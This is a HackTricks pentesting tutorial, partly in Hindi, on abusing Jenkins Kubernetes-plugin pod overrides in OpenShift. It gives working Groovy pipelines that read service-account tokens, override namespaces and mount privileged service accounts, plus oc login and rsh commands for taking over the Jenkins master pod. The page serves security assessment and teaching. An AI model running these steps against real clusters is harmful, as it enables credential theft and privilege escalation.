Jenkins in Openshift - build pod overrides

Reading time: 6 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

इस पृष्ठ के मूल लेखक हैं Fares

Kubernetes plugin for Jenkins

यह प्लगइन मुख्य रूप से openshift/kubernetes क्लस्टर के भीतर Jenkins के मुख्य कार्यों के लिए जिम्मेदार है। आधिकारिक दस्तावेज़ यहाँ यह कुछ कार्यात्मकताएँ प्रदान करता है जैसे कि डेवलपर्स को जेनकिंस बिल्ड पॉड की कुछ डिफ़ॉल्ट कॉन्फ़िगरेशन को ओवरराइड करने की क्षमता।

Core functionnality

यह प्लगइन डेवलपर्स को उनके कोड को उपयुक्त वातावरण में बनाने के दौरान लचीलापन प्रदान करता है।

groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

Some abuses leveraging pod yaml override

यह किसी भी सुलभ इमेज जैसे Kali Linux का उपयोग करने के लिए दुरुपयोग किया जा सकता है और उस इमेज से प्रीइंस्टॉल्ड टूल्स का उपयोग करके मनमाने कमांड निष्पादित किया जा सकता है। नीचे दिए गए उदाहरण में, हम चल रहे पॉड का सर्विसएकाउंट टोकन निकाल सकते हैं।

groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

एक अलग सिंटैक्स उसी लक्ष्य को प्राप्त करने के लिए।

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

पॉड के नामस्थान को ओवरराइड करने का नमूना

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

एक और उदाहरण जो एक serviceaccount को माउंट करने की कोशिश करता है (जिसके पास आपके बिल्ड को चलाने वाले डिफ़ॉल्ट वाले से अधिक अनुमतियाँ हो सकती हैं) इसके नाम के आधार पर। आपको पहले मौजूदा serviceaccounts का अनुमान लगाने या उन्हें सूचीबद्ध करने की आवश्यकता हो सकती है।

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

The same technique applies to try mounting a Secret. The end goal here would be to figure out how to configure your pod build to effectively pivot or gain privileges.

Going further

Once you get used to play around with it, use your knowledge on Jenkins and Kubernetes/Openshift to find misconfigurations / abuses.

Ask yourself the following questions:

  • कौन सा सेवा खाता निर्माण पॉड्स को तैनात करने के लिए उपयोग किया जा रहा है?
  • इसके पास कौन से भूमिकाएँ और अनुमतियाँ हैं? क्या यह उस नामस्थान के रहस्यों को पढ़ सकता है जिसमें मैं वर्तमान में हूँ?
  • क्या मैं अन्य निर्माण पॉड्स को और सूचीबद्ध कर सकता हूँ?
  • एक समझौता किए गए sa से, क्या मैं मास्टर नोड/पॉड पर कमांड निष्पादित कर सकता हूँ?
  • क्या मैं क्लस्टर को और सूचीबद्ध कर सकता हूँ ताकि कहीं और पिवट कर सकूँ?
  • कौन सा SCC लागू किया गया है?

You can find out which oc/kubectl commands to issue here and here.

Possible privesc/pivoting scenarios

Let's assume that during your assessment you found out that all jenkins builds run inside a namespace called worker-ns. You figured out that a default serviceaccount called default-sa is mounted on the build pods, however it does not have so many permissions except read access on some resources but you were able to identify an existing service account called master-sa. Let's also assume that you have the oc command installed inside the running build container.

With the below build script you can take control of the master-sa serviceaccount and enumerate further.

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

आपकी पहुँच के आधार पर, या तो आपको बिल्ड स्क्रिप्ट से अपने हमले को जारी रखना होगा या आप चल रहे क्लस्टर पर इस sa के रूप में सीधे लॉगिन कर सकते हैं:

bash
oc login --token=$token --server=https://apiserver.com:port

यदि इस sa के पास पर्याप्त अनुमति है (जैसे pod/exec), तो आप मास्टर नोड पॉड के अंदर कमांड्स को निष्पादित करके पूरे jenkins इंस्टेंस पर नियंत्रण प्राप्त कर सकते हैं, यदि यह उसी namespace के भीतर चल रहा है। आप इसके नाम और इस तथ्य के माध्यम से इस पॉड की पहचान आसानी से कर सकते हैं कि इसे jenkins डेटा को स्टोर करने के लिए उपयोग किए जाने वाले PVC (persistant volume claim) को माउंट करना चाहिए।

bash
oc rsh pod_name -c container_name

यदि मास्टर नोड पॉड उसी नामस्थान में नहीं चल रहा है जैसे कि कार्यकर्ता, तो आप मास्टर नामस्थान को लक्षित करके समान हमले करने की कोशिश कर सकते हैं। मान लीजिए कि इसे jenkins-master कहा जाता है। ध्यान रखें कि सेवा खाता master-sa jenkins-master नामस्थान में होना चाहिए (और यह worker-ns नामस्थान में नहीं हो सकता है)